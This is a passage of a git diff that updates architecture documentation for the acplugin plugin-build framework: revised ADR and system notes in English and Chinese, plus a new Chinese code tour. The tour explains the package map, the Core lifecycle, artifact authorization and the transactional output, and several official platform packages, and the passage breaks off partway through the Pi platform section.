`package.json:7-9,29-44` - `packages/acplugin/package.json:11,31-57` +- `packages/platforms/*/package.json:11` - `packages/extensions/hooks/package.json:11,21-28` - `packages/extensions/mcp/package.json:11,20-27` - `.github/workflows/check.yml:16-19` diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md index 4d7c9c2..7f03294 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md @@ -8,7 +8,7 @@ The six official Platforms were private `@acplugin/*` workspace packages bundled and re-exported by the main package. That model simplified single-tarball use, but gave official Platforms a private Core dependency unavailable to third parties and forced the framework package to know every official implementation. Extensions already demonstrate that an independently published package can use the public lifecycle SDK through a peer dependency while preserving ownership, branding, and lifecycle boundaries. -`@tokenroll/acplugin/platforms/` is an export subpath owned by the main package, not an independent npm package with its own installation, version, and publication boundary. +Making `@tokenroll/acplugin/platforms/` an export subpath would still leave it owned and versioned by the main package rather than create an independent installation and publication boundary. ## Decision diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md index e7eaa92..f029966 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md @@ -8,7 +8,7 @@ 六个官方 Platform 原先是私有 `@acplugin/*` workspace 包,由主包内联并重新导出。该模型虽然让单 tarball 使用简单,却让官方 Platform 依赖第三方无法访问的 Core,并迫使主包知道全部官方实现。Extension 已证明“独立公开 package + 主包 peer dependency + 公开 lifecycle SDK”可以保持 owner、品牌和生命周期边界。 -`@tokenroll/acplugin/platforms/` 只是主包 export subpath,不是独立 npm package,不能提供独立安装、版本和第三方对等发布模型。 +如果把 `@tokenroll/acplugin/platforms/` 做成 export subpath,它仍由主包拥有并统一版本化,不能提供独立安装、发布和第三方对等模型。 ## 决策 diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index fe54251..df4426c 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -50,7 +50,7 @@ Platforms run in config order; Extensions run in config order and do not form a `buildEnd` runs in reverse initialized order after success or failure. On a candidate commit, the transaction keeps the prior output as a rollback backup while reverse cleanup runs. A cleanup failure is reported, passed to remaining cleanup hooks, and rolls the swap back to the previous complete output. Failures before the swap reach cleanup through the normal error path. -## Built-in Platforms +## Official Platform packages `packages/platforms/claude-code/` emits native Commands, Skills, Agents, `.claude-plugin/plugin.json`, and optional Marketplace distributions. @@ -64,7 +64,7 @@ Platforms run in config order; Extensions run in config order and do not form a `packages/platforms/pi/` emits an npm package with native Skills, Command Prompt Templates, and Agent guidance Skills. Its package Manifest declares only Pi discovery fields and cannot leak `private`, `workspaces`, or private workspace dependencies. -Platform implementation packages are private and bundled into `@tokenroll/acplugin` by tsdown. The public facade exposes stable Platform factories and subpath contracts, not private serializers or validators. +Each directory is published as `@tokenroll/acplugin-platform-`. Production code imports only the public SDK from `@tokenroll/acplugin`, declares it as a peer dependency, and exports its factory as both the default and a named export. The main package neither bundles nor re-exports these implementations; private serializers and validators stay inside the owning Platform tarball. ## Official Extensions @@ -93,4 +93,4 @@ Pre-commit failure leaves old output untouched. Failure after backup/swap rolls `packages/acplugin/src/index.ts` exposes the public facade while `project-config.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and `run-project.ts` connects resolved projects to Core. Nested config objects are runtime-schema checked before lifecycle use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. -The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports or runtime dependencies; `scripts/verify-release.mjs` proves this in an external consumer. +The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports, official integration manifest dependencies, or normal eager edges to those integrations. Migration's lazy chunk is the isolated exception that bundles the Claude Code Platform and MCP implementation needed to validate generated projects. `scripts/verify-release.mjs` proves the eager boundary, all nine public package manifests, peer rewrites, and private Symbol-brand interoperability through one main-package peer instance in external consumers. diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md index 9b38c64..6e9f765 100644 --- a/llmdoc/architecture/system.zh-CN.md +++ b/llmdoc/architecture/system.zh-CN.md @@ -50,7 +50,7 @@ Platform 按配置顺序执行;Extension 同样按配置顺序执行,不形 `buildEnd` 在成功或失败后按初始化的逆序执行。候选提交期间,事务会在逆序清理完成前保留旧输出作为回滚备份。清理失败会写入报告、传递给剩余清理 Hook,并把目录交换回滚到上一份完整输出。交换前失败则通过普通错误路径进入清理阶段。 -## 内置 Platform +## 官方 Platform package `packages/platforms/claude-code/` 生成原生 Commands、Skills、Agents、`.claude-plugin/plugin.json` 和可选 Marketplace 分发。 @@ -64,7 +64,7 @@ Platform 按配置顺序执行;Extension 同样按配置顺序执行,不形 `packages/platforms/pi/` 生成 npm Package,包含原生 Skills、Command Prompt Templates 和 Agent 指导 Skills。Package Manifest 只声明 Pi 发现字段,不能泄漏 `private`、`workspaces` 或私有工作区依赖。 -Platform 实现包均为私有包,并由 tsdown 内联进 `@tokenroll/acplugin`。公开门面只暴露稳定的 Platform 工厂和子路径契约,不暴露私有 Serializer 或 Validator。 +每个目录分别发布为 `@tokenroll/acplugin-platform-`。生产源码只从 `@tokenroll/acplugin` 导入公开 SDK,将其声明为 peer dependency,并同时默认导出和具名导出工厂。主包既不内联也不重新导出这些实现;私有 Serializer 和 Validator 留在所属 Platform tarball 内。 ## 官方 Extensions @@ -93,4 +93,4 @@ Extension build context 以 `addWatchFile()` 作为唯一依赖登记边界。 `packages/acplugin/src/index.ts` 暴露公开门面;`project-config.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述文件,`run-project.ts` 把解析后的工程连接到 Core。嵌套配置对象会在进入生命周期前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 -普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入或私有运行时依赖;`scripts/verify-release.mjs` 会在外部消费者中验证这一点。 +普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入、官方集成 manifest 依赖或指向集成的正常 eager 边。Migration lazy chunk 是隔离的例外:它内联生成工程自验证所需的 Claude Code Platform 与 MCP 实现。`scripts/verify-release.mjs` 会在外部消费者中验证 eager 边界、九个公开 package manifest、peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作。 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md new file mode 100644 index 0000000..34ff1bd --- /dev/null +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -0,0 +1,776 @@ +# acplugin 按 Package 代码导览 + +本文面向第一次进入 acplugin 1.0 代码库的维护者,按 workspace package 解释内容、架构、数据流和实现逻辑。它不是 API 规范的替代品;需要判断 MUST/MUST NOT 时,仍以正式规范、ADR 和源码为准。 + +建议先用 15 分钟读完“全局心智模型”和 `@acplugin/core`,再按当前任务跳到对应 package。代码链接指向主要入口,不要求从目录第一行顺序阅读。 + +## 1. Package 地图 + +| 目录 | Package | 发布状态 | 核心职责 | +| --- | --- | --- | --- | +| `packages/acplugin` | `@tokenroll/acplugin` | 公开 | 作者/第三方 SDK、CLI、配置加载、dev watch、init、隔离 Migration;不导出官方集成 | +| `packages/core` | `@acplugin/core` | 私有 | 类型与品牌、配置解析、Scanner、固定生命周期、owner 合并、兼容性、Artifact、事务和报告 | +| `packages/platforms/claude-code` | `@tokenroll/acplugin-platform-claude-code` | 公开 | Claude Code Plugin、可选 Marketplace、最终 Validator | +| `packages/platforms/codex` | `@tokenroll/acplugin-platform-codex` | 公开 | Codex Plugin、Skill 转换、可选 Marketplace、协议 Validator | +| `packages/platforms/cursor` | `@tokenroll/acplugin-platform-cursor` | 公开 | Cursor Plugin 与官方 Schema 子集校验 | +| `packages/platforms/antigravity` | `@tokenroll/acplugin-platform-antigravity` | 公开 | Antigravity Plugin 与 Skill fallback | +| `packages/platforms/opencode` | `@tokenroll/acplugin-platform-opencode` | 公开 | OpenCode Workspace Overlay | +| `packages/platforms/pi` | `@tokenroll/acplugin-platform-pi` | 公开 | Pi npm Package、Prompt/Skill 转换 | +| `packages/extensions/hooks` | `@tokenroll/acplugin-extension-hooks` | 公开 | Hook 作者协议、单次 Bundle、安全 Runner、六平台 Adapter | +| `packages/extensions/mcp` | `@tokenroll/acplugin-extension-mcp` | 公开 | HTTP/stdio MCP 作者协议、stdio Bundle/smoke、六平台 Adapter | +| `packages/test` | `@acplugin/test` | 私有 | 跨包、CLI、Migration、架构和发布边界集成测试 | + +依赖方向是刻意收窄的: + +```mermaid +flowchart TD + MAIN["@tokenroll/acplugin
公开 façade / CLI"] --> CORE["@acplugin/core
唯一生命周期"] + P1["六个公开 Platform package"] -. peer dependency .-> MAIN + H["Hooks Extension"] -. peer dependency .-> MAIN + M["MCP Extension"] -. peer dependency .-> MAIN + TEST["@acplugin/test"] --> MAIN + TEST --> P1 + TEST --> CORE + TEST --> H + TEST --> M +``` + +- Core 不 import 任何具体 Platform、Hooks、MCP 或 Migration。 +- 六个官方 Platform 和两个 Extension 的生产源码都只从主包导入公开 SDK,并把主包保持为 peer dependency;它们不能依赖私有 Core 或另一个集成。 +- 主包通过 [tsdown 配置](../../packages/acplugin/tsdown.config.ts)只内联 Core。它没有官方集成 re-export、subpath 或 manifest 依赖,公开 tarball 运行时不出现 `@acplugin/*`。 +- 每个 Platform 默认导出并具名导出自身工厂;MCP 的 Rolldown 重入口还被拆成独立 `bundler.mjs`。 + +Migration 会在主包构建时把自验证所需的 Claude Code Platform 与 MCP Extension 代码内联进 CLI 的惰性 chunk,但不会给主包 manifest 增加官方集成运行时依赖,也不会让正常 façade/CLI 启动主动加载 Migration。 + +## 2. 全局心智模型 + +### 2.1 一次构建的数据流 + +```mermaid +flowchart LR + A["acplugin.config.ts
UserConfig"] --> B["配置加载/解析
ResolvedConfig"] + H0["src/hooks / src/mcp"] --> E1["Extension discover"] + S0["commands / skills / agents / public"] --> S["Core Scanner
PluginProject"] + B --> L["Core fixed lifecycle"] + E1 --> L + S --> L + L --> EB["Extension Built State"] + EB --> AD["Platform Adapter"] + L --> PD["Platform Draft
Documents + Artifacts"] + PD --> AD + AD --> DU["DeliveryUnit"] + DU --> V["临时候选 + Platform Validator"] + V --> T["全量输出事务"] + L --> R["BuildResult / stable JSON"] + T --> D["dist/platform/unit"] +``` + +唯一正式顺序是: + +```text +configResolved +→ buildStart +→ Extension.discover +→ Scanner +→ Extension.validate/build +→ Platform.prepare +→ Adapter.apply +→ Platform.generateBundle/validateBundle +→ generateDistributions +→ compatibility propagation +→ transaction +→ buildEnd(按初始化逆序) +``` + +CLI 和程序化 `runProject()` 最终都进入 [`executeLifecycle()`](../../packages/core/src/lifecycle.ts),没有第二条构建路径。 + +### 2.2 关键数据对象如何接力 + +| 数据对象 | 产生者 | 消费者 | 重要性质 | +| --- | --- | --- | --- | +| `UserConfig` | `acplugin.config.ts` | 主包配置加载器、Core `resolveConfig()` | 作者输入;可以是对象或函数 | +| `ResolvedConfig` | Core config | Core lifecycle | 绝对路径化、默认值合并、Platform/Extension 已品牌校验 | +| `PluginProject` | Core Scanner | Extension validate/build、Platform、Adapter | Commands/Skills/Agents/Public 的唯一规范模型,深度冻结 | +| `Discovered*` | Extension discover | 同一 Extension validate/build | 作者格式的已加载描述,不跨 Extension 暴露 | +| `Built*` | Extension build | 同一 Extension 的 Platform Adapter | 平台中立状态;可引用 Extension 独占 workDir | +| `DraftDocument` | Platform prepare | Adapter、Platform generateBundle | Platform 拥有,Extension 只能向声明的空 extension point add-only patch | +| `ArtifactInput` | Platform/Adapter/Public | Artifact Registry | `bytes` 或普通文件来源;尚未带 hash/owner | +| `Artifact` | Core Artifact Registry | DeliveryUnit、事务、报告 | 已绑定 owner、mode、size、SHA-256,且来源授权已验证 | +| `DeliveryUnit` | Platform + Core Registry | Validator、事务 | 主 Plugin/Workspace/Package 或 Marketplace Distribution | +| `BuildResult` | Core reports | CLI、程序化 API、JSON 输出 | 稳定排序、无内容字节、无绝对路径、无 Secret 值 | + +数据不会反向穿透边界:Platform 看不到另一个 Platform 的 workDir;Extension 看不到另一个 Extension 的 Built State;Validator 只能观察自己临时物化的候选;报告不携带 Artifact 内容、原始异常、临时路径或环境变量值。 + +### 2.3 三个最重要的不变量 + +1. **Core 决定流程,Platform 决定格式。** Core 不写平台名称分支;Platform 不直接提交 `dist`。 +2. **所有贡献都有 owner。** Document 归 `platform:`,Adapter Artifact 归 `extension:`,Public 归 `public`;owner 决定允许读取的文件来源。 +3. **先完整验证,再整体交换。** 任一 Platform、Extension、Validator 或 `buildEnd` 失败,不能留下部分新输出。 + +Extension Adapter 按 `extensions[]` 配置顺序串行运行。`getDocument()` 能看到前序贡献,因此顺序有语义;add-only 只能防止替换和静默合并,不能保证 Adapter 可交换。同一扩展点或输出路径的冲突必须失败。 + +## 3. `@tokenroll/acplugin`:公开 façade、CLI 与工程入口 + +### 3.1 从哪里开始读 + +- [src/index.ts](../../packages/acplugin/src/index.ts):精选公开 SDK、`defineConfig()` 与 `runProject()`;没有官方集成导出。 +- [src/project-config.ts](../../packages/acplugin/src/project-config.ts):Jiti 加载配置、运行时 Schema 检查、配置依赖监听。 +- [src/run-project.ts](../../packages/acplugin/src/run-project.ts):CLI/程序化 API 到 Core 生命周期的唯一桥。 +- [src/cli.ts](../../packages/acplugin/src/cli.ts):Commander 命令、报告、退出码、dev watcher。 +- [src/init.ts](../../packages/acplugin/src/init.ts):新工程脚手架。 +- [src/migration/index.ts](../../packages/acplugin/src/migration/index.ts):隔离的 legacy 输入迁移。 +- [tsdown.config.ts](../../packages/acplugin/tsdown.config.ts):内联 Core、库/CLI 入口和 Migration lazy chunk 边界。 + +### 3.2 内容与架构 + +主包是“装配层”,不重新实现 Core 规则: + +- `index.ts` 公开作者和第三方集成需要的生命周期类型、`definePlatform()`、`defineExtension()`、Artifact helper 和稳定序列化函数;Registry、事务实现和官方工厂不从 façade 泄漏。 +- `project-config.ts` 使用每次运行无缓存的 Jiti 执行可信 TypeScript 配置,并记录 Jiti 实际转换的配置 import、Extension descriptor 和外部 package root,供 dev 监听。 +- `run-project.ts` 处理 CLI 的 Platform 子集和 strict 覆盖,然后调用 Core。 +- `cli.ts` 将 `validate`、`inspect`、`build`、`dev` 映射到同一入口;`init` 是脚手架;`migrate` 使用动态 import 保持 Migration 隔离。 +- 主包构建产生库入口和可执行 CLI;Migration 保留为 CLI 才能触达的独立 chunk。主包没有 Platform subpath。 + +### 3.3 数据流 + +```text +argv / RunProjectOptions +→ loadProjectConfig() +→ Jiti 执行 UserConfig +→ Core resolveConfig(require non-empty branded platforms) +→ 可选 Platform/strict 运行时覆盖 +→ executeLifecycle() +→ BuildResult +→ CLI 文本、stable JSON 或程序化返回值 +``` + +`executeProject()` 还额外返回 `projectRoot`、`outDir`、`watchPaths` 和 `dependencyRoots`,但这些绝对路径只给内部 dev watcher,不进入公开 `BuildResult`。 + +`--platform ` 只筛选配置中已经实例化的平台,不按 ID import 或安装 package。Claude Code/Codex 的“默认”只存在于 `init` 的脚手架选择:生成结果仍包含显式依赖、import 和 `platforms` 数组。 + +### 3.4 实现伪代码 + +```ts +async function runProject(options) { + loaded = await loadProjectConfigWithFreshJiti(options) + config = applyConfiguredPlatformSubsetAndStrictOverride(loaded.config, options) + + result = await Core.executeLifecycle({ + config, + commit: commandIsBuildOrDev && options.commit !== false, + loadTypeScriptModule: loaded.sharedJitiLoader, + onWatchFile: rememberExtensionBundleDependency, + }) + + return result +} +``` + +dev 的重点不是缓存产物,而是可靠地重跑完整事务并保留最后成功输出: + +```ts +watchPaths = configEntry + projectRoot + descriptors + bundleModuleGraph +startChokidar(ignoreManagedOutDir) +await compensatingBuildAfterWatcherReady() + +onAnyChange: + debounce() + mergeChangesWhileBuildIsRunning() + result = await executeProject({ command: 'dev', commit: true }) + replaceWatchSetIfDependencyGraphChanged() + // 构建失败时 Core 不替换旧 dist +``` + +### 3.5 Init 与 Migration 的边界 + +`initializeProject()` 只写最小规范工程:配置、package manifest、示例源目录和可选 Extension 空目录。它拒绝符号链接、非空目标和非法名称,不会生成伪 Hook/MCP 实现。 + +Migration 是同一个 package 内的隔离子系统,但不属于正常构建: + +```ts +CLI migrate +→ dynamic import('./migration/index.js') +→ 容错扫描 legacy Claude project/plugin +→ 先稳定分配 canonical ID +→ 安全可映射内容写入临时 canonical project +→ 不可映射内容写 .acplugin-migration/unmapped +→ 用正式配置加载与生命周期验证生成结果 +→ 非 dry-run 时提交到全新目标目录 +``` + +修改正常构建时不要 import `migration/`;修改 legacy 容错逻辑时也不要把宽松类型和旧概念带回 Core。 + +## 4. `@acplugin/core`:唯一编排器与安全边界 + +### 4.1 模块分工 + +| 文件 | 负责什么 | +| --- | --- | +| [contracts.ts](../../packages/core/src/contracts.ts) | Platform/Extension/Adapter 生命周期接口、符号品牌、Document/DeliveryUnit 契约 | +| [types.ts](../../packages/core/src/types.ts) | Config、Component、PluginProject、Artifact、BuildResult 数据类型 | +| [config.ts](../../packages/core/src/config.ts) | 顶层 Schema、路径解析、默认值、Platform/Extension 配置校验 | +| [scanner.ts](../../packages/core/src/scanner.ts) | Markdown/frontmatter、Skill 辅助文件、Public、依赖图和平台字段扫描 | +| [lifecycle.ts](../../packages/core/src/lifecycle.ts) | 唯一固定阶段顺序、隔离 workDir、失败收敛、全局提交门槛 | +| [documents.ts](../../packages/core/src/documents.ts) | owner-aware add-only Document Registry 和 Platform Draft | +| [artifacts.ts](../../packages/core/src/artifacts.ts) | Artifact 路径、来源授权、普通文件、mode、size、hash | +| [output-paths.ts](../../packages/core/src/output-paths.ts) | 绝对/父目录路径拒绝、大小写与 Unicode 规范化冲突 | +| [delivery-units.ts](../../packages/core/src/delivery-units.ts) | 全局 Platform/Unit 唯一性和继承 Artifact 完整性 | +| [diagnostics.ts](../../packages/core/src/diagnostics.ts) | 诊断、兼容性、元数据去向、严格度和依赖传播 | +| [transaction.ts](../../packages/core/src/transaction.ts) | 候选物化、完整性复核、锁、恢复、stage/backup/swap/rollback | +| [serialization.ts](../../packages/core/src/serialization.ts) | 稳定 JSON/YAML/frontmatter 序列化 | +| [reports.ts](../../packages/core/src/reports.ts) | 构造、排序、脱敏和序列化 `BuildResult` | + +### 4.2 Core 的内部架构 + +Core 把“插件系统”拆成四类 Registry/Collector: + +- `DocumentRegistry`:管理结构化文档和值级 owner。 +- `ArtifactRegistry`:管理物理路径、来源授权和内容摘要。 +- `DeliveryUnitRegistry`:管理最终交付单元及继承 Artifact。 +- Diagnostic/Compatibility/Metadata Collector:管理可报告的结构化结论。 + +这些对象由 `executeLifecycle()` 统一创建,Platform 和 Extension 只能拿到最小回调,不能持有 Registry 本体。 + +### 4.3 主生命周期伪代码 + +```ts +async function executeLifecycle(request) { + runtimeRoot = makeTemporaryRoot() + diagnostics = new DiagnosticCollector(redact(projectRoot, runtimeRoot)) + platformRuntimes = makeIsolatedWorkDirs(config.platforms) + extensionRuntimes = makeIsolatedWorkDirs(config.extensions) + + try { + await configResolved(platformsThenExtensionsInConfigOrder) + await buildStart(platformsThenExtensionsInConfigOrder) + + discovered = await eachExtension.discover() + project = await scanProject(config) + sourcePolicies = deriveExactOwnerAuthorizations(project, workDirs) + + await eachExtension.validate(discovered, project) + built = await eachExtension.build(discovered, project) + + for (platform of configuredPlatforms) { + draft = PlatformDraftRegistry.create(await platform.prepare(project)) + draft.injectPublicArtifacts(project.publicFiles) + + for (extension of configuredExtensionsWithResources) { + adapter = extension.adapterFor(platform.id) + if (!adapter) reportUnsupported() + else await adapter.apply(restrictedDraftContext, extension.built) + } + + applyCompatibilityStrictness() + primaryInput = await platform.generateBundle(draft.snapshot()) + assertAllInheritedDocumentsAndArtifactsWerePreserved(primaryInput) + + primary = await deliveryUnits.add(primaryInput) + await materializeValidateAndRecheck(primary, platform.validateBundle) + + distributions = await platform.generateDistributions?.([primary]) + await validateEachDistribution(distributions) + } + + propagateComponentDependencyCompatibility() + if (allPlatformsSucceeded && noErrors) { + if (commitRequested) + await commitAllUnitsAtomically({ afterSwap: reverseBuildEnd }) + else + await validateWholeTreeWithoutCommit() + } + } catch (unknownError) { + addStableInternalDiagnosticWithoutLeakingRawError() + } finally { + await reverseBuildEndForAnythingNotFinalized() + removeTemporaryRoot() + } + + return stableBuildResult() +} +``` + +### 4.4 Document 合并逻辑 + +Platform 在 `prepare()` 声明初始值和允许的 `extensionPoints`。Adapter 不能 deep merge 任意对象,只能向一个精确、当前为空、尚未被其他 owner 占用的路径添加值。 + +```ts +function patchDocument(extensionOwner, patch) { + document = requirePlatformDocument(patch.document) + requirePathWasDeclaredAsExtensionPoint(patch.path) + requireNoParentOrChildExtensionPointAmbiguity(patch.path) + requireFieldIsEmpty(document.value, patch.path) + requireNoExistingOwner(patch.path) + + cloned = cloneAndFreezeFiniteJson(patch.value) + document.value = addFieldWithoutReplacing(document.value, patch.path, cloned) + fieldOwners.set(patch.path, extensionOwner) +} +``` + +如果 patch 或 Artifact 贡献被拒绝,即使第三方 Adapter 捕获同步异常,Core 仍记录粘滞失败并阻止当前 Platform 提交。 + +### 4.5 Artifact 来源与输出事务 + +文件型 Artifact 不是“给一个路径就复制”。Core 根据 owner 建立授权: + +- `platform:`:自己的 workDir,加 Scanner 精确发现的 Component/Skill 文件。 +- `extension:`:只有自己的 workDir。 +- `public`:只有 Scanner 精确发现的 Public 文件。 + +事务伪代码: + +```ts +lock = acquireExclusiveLock(outDir) +recoverStaleBackupTransactionAndStage() +stage = createSiblingStage(outDir) // 保证同一文件系统 rename +materializeAllDeliveryUnits(stage) +reReadAndVerifyTypeHashSizeMode(stage) +writeTransactionRecord() + +rename(oldOutDir, backup) +try { + rename(stage, outDir) + await afterSwapBuildEnd() + removeTransactionAndBackupBestEffort() +} catch (error) { + removeNewOutDir() + rename(backup, outDir) + throw error +} finally { + removeStageAndLockBestEffort() +} +``` + +因此修改事务代码时,正常成功测试远远不够,必须覆盖每个 phase 的故障注入、崩溃恢复和回滚失败。 + +## 5. 六个公开 Platform package 的共同模板 + +六个平台的 [src/index.ts](../../packages/platforms/claude-code/src/index.ts) 都从 `@tokenroll/acplugin` 使用公开 `definePlatform()`,由同一主包 peer 实例注入模块私有 Symbol 品牌,并实现同一模板: + +```ts +function platformFactory(options) { + validatePlatformOptions(options) + return definePlatform({ + id, + apiVersion: '1', + deliveryType, + validateComponentFields, + prepare: project => ({ documents: platformOwnedDocuments, artifacts: [] }), + generateBundle: mergedDraft => ({ + id: deliveryType, + role: 'primary', + type: deliveryType, + artifacts: inherited + convertedComponents + serializedDocuments, + }), + validateBundle: validateMaterializedPlatformCandidate, + generateDistributions: optionalMarketplace, + }) +} +``` + +每个 Platform package 自己拥有四件事:Component 转换、结构化 Document/Manifest、DeliveryUnit 形态、最终候选 Validator。新增平台格式判断不应写到 Core 或主包 CLI。 + +## 6. `@tokenroll/acplugin-platform-claude-code` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/claude-code/src/components.ts):Command、Skill、Agent 都生成 Claude Code 原生资源;规范能力映射为工具,抽象模型档位映射为稳定别名。 +- [manifest.ts](../../packages/platforms/claude-code/src/manifest.ts):拥有 `.claude-plugin/plugin.json`,开放 `hooks`、`mcpServers` 两个 add-only 点,并可组合 Marketplace。 +- [validator.ts](../../packages/platforms/claude-code/src/validator.ts):重新读取物化候选,验证 manifest、hooks、MCP 引用、Marketplace 和路径边界。 +- [types.ts](../../packages/platforms/claude-code/src/types.ts):Marketplace owner、元数据和平台选项。 + +```text +PluginProject +→ commands/.md +→ skills//SKILL.md + auxiliary files +→ agents/.md +→ .claude-plugin/plugin.json +→ Hooks/MCP Adapter 可追加配置与运行文件 +→ plugin DeliveryUnit +→ 可选 marketplace DeliveryUnit +``` + +### 实现伪代码 + +```ts +prepare(project): + manifest = createClaudePluginManifest(project.metadata) + expose extensionPoints ['hooks'] and ['mcpServers'] + +generateBundle(draft): + commands = mapArguments('{{arguments}}' -> '$ARGUMENTS') + skills = copyCanonicalSkillsAndAuxiliaryFiles() + agents = mapCapabilitiesToClaudeToolsAndModelAliases() + return plugin(draft.artifacts + commands + skills + agents + stableManifest) + +generateDistributions(primary): + if no marketplace option return [] + composeValidatedPrimaryPluginIntoMarketplace(primary) +``` + +优先读 `components.ts` 来改转换,读 `manifest.ts` 来改清单字段,读 `validator.ts` 来改最终平台约束;三处通常需要同步测试。 + +## 7. `@tokenroll/acplugin-platform-codex` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/codex/src/components.ts):原生 Skill;Command 转 `command-` Skill;Agent 降级为 `agent-` 指导 Skill;可生成 `agents/openai.yaml`。 +- [manifest.ts](../../packages/platforms/codex/src/manifest.ts):拥有 Codex Plugin manifest、Hooks/MCP 扩展点和可选 Marketplace。 +- [protocol.ts](../../packages/platforms/codex/src/protocol.ts):类别、安装方式、界面字段、URL/资源路径和 SVG 尺寸协议。 +- [validator.ts](../../packages/platforms/codex/src/validator.ts):验证 Skill、展示资源、Hook、MCP、Plugin 和 Marketplace 的引用闭包。 + +Command 中的 `{{arguments}}` 会变成显式调用指引,并独立报告 `arguments/transform`;`argumentHint` 因没有等价 UI 仍单独降级。fallback ID 会在 `prepare()` 前检查大小写不敏感冲突。 + +### 实现伪代码 + +```ts +prepare(project): + rejectCollisions(skillId, `command-${id}`, `agent-${id}`) + manifest = createCodexManifest(interfaceOptions) + expose ['hooks'] and ['mcpServers'] + +generateBundle(draft): + nativeSkills = emitSkills(project.skills) + commandSkills = emitExplicitSkills(project.commands, prefix='command-') + agentSkills = emitGuidanceSkills(project.agents, prefix='agent-') + metadata = emitOptionalAgentsOpenAiYaml() + reportNativeTransformOrDegradedPerCapability() + return plugin(draft.artifacts + allSkills + metadata + stableManifest) +``` + +Codex Validator 最复杂。改 manifest/interface/Skill metadata 时,要同时检查 `protocol.ts`、生成器、Validator、golden 和跨包测试,不能只改序列化输出。 + +## 8. `@tokenroll/acplugin-platform-cursor` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/cursor/src/components.ts):三类 Component 都生成 Cursor 原生文件;Command 参数占位符变为 `$ARGUMENTS`;只读能力可精确映射为 `readonly`。 +- [manifest.ts](../../packages/platforms/cursor/src/manifest.ts):拥有 `.cursor-plugin/plugin.json`,只声明工程实际存在的资源 glob,开放 `hooks`、`mcpServers`。 +- [validator.ts](../../packages/platforms/cursor/src/validator.ts):固定 Schema 子集、资源引用、logo URL/文件和路径安全。 + +### 实现伪代码 + +```ts +prepare(project): + manifest = { + identityMetadata, + commands: project.hasCommands ? './commands/*.md' : omitted, + skills: project.hasSkills ? './skills/*/SKILL.md' : omitted, + agents: project.hasAgents ? './agents/*.md' : omitted, + } + expose ['hooks'] and ['mcpServers'] + +generateBundle(draft): + emitNativeCommandsSkillsAgents() + reportModelOrCapabilityLossesPrecisely() + return plugin(draft.artifacts + components + manifest) +``` + +Cursor 的“原生”只表示资源形态原生,不代表每个规范字段都无损;模型档位和非只读能力组合仍通过字段级兼容性报告表达。 + +## 9. `@tokenroll/acplugin-platform-antigravity` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/antigravity/src/components.ts):Skill 原生;Command 转 `command-` Skill;Agent 转 `agent-` 指导 Skill。 +- [manifest.ts](../../packages/platforms/antigravity/src/manifest.ts):只生成已确认的最小 `plugin.json`,没有 Document extension point。 +- [validator.ts](../../packages/platforms/antigravity/src/validator.ts):校验最小 manifest/schema 和根结构。 + +Hooks 和 MCP 仍可通过 Adapter 贡献独立的 `hooks.json`、`mcp_config.json` 与运行文件,但不能 patch `plugin.json`。 + +### 实现伪代码 + +```ts +prepare(project): + rejectCollisions(skillId, `command-${id}`, `agent-${id}`) + return minimalPluginJson(withNoExtensionPoints) + +generateBundle(draft): + emitNativeSkills() + emitCommandFallbackSkills() + emitAgentGuidanceSkills() + appendAdapterArtifactsWithoutManifestMutation() + return plugin(allArtifacts + pluginJson) +``` + +这里的设计倾向是“字段少但可信”。未经官方契约确认的 manifest 字段不应为了看起来完整而加入。 + +## 10. `@tokenroll/acplugin-platform-opencode` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/opencode/src/components.ts):生成 `.opencode/commands`、`.opencode/skills`、`.opencode/agents`;Agent 能力转换为 tools/permissions。 +- [config-document.ts](../../packages/platforms/opencode/src/config-document.ts):拥有可 `omit-if-empty` 的 `opencode.json`,只开放 `mcp` 扩展点。 +- [validator.ts](../../packages/platforms/opencode/src/validator.ts):确保交付是 Workspace Overlay,不伪造通用 package 或 Plugin manifest。 + +Hooks Adapter 通过 `.opencode/plugins/acplugin-hooks.mjs` 提供 runtime Plugin,不需要修改 `opencode.json`;MCP Adapter 则 patch `workspace-config.mcp`。 + +### 实现伪代码 + +```ts +prepare(project): + workspaceConfig = options.workspace ?? {} + expose ['mcp'] + mark opencodeJson as omitIfEmpty + +generateBundle(draft): + commands = emitWorkspaceCommands() + skills = emitWorkspaceSkills() + agents = emitSubagentsWithToolsAndPermissions() + config = serializeOnlyIfNonEmptyAfterMcpPatch() + return workspace(draft.artifacts + commands + skills + agents + config) +``` + +不要为 OpenCode 添加普通 `package.json` 来模拟安装包;它的主交付单元类型就是 `workspace`。 + +## 11. `@tokenroll/acplugin-platform-pi` + +### 内容与数据流 + +- [components.ts](../../packages/platforms/pi/src/components.ts):Command 转 `prompts/.md`;Skill 原生;Agent 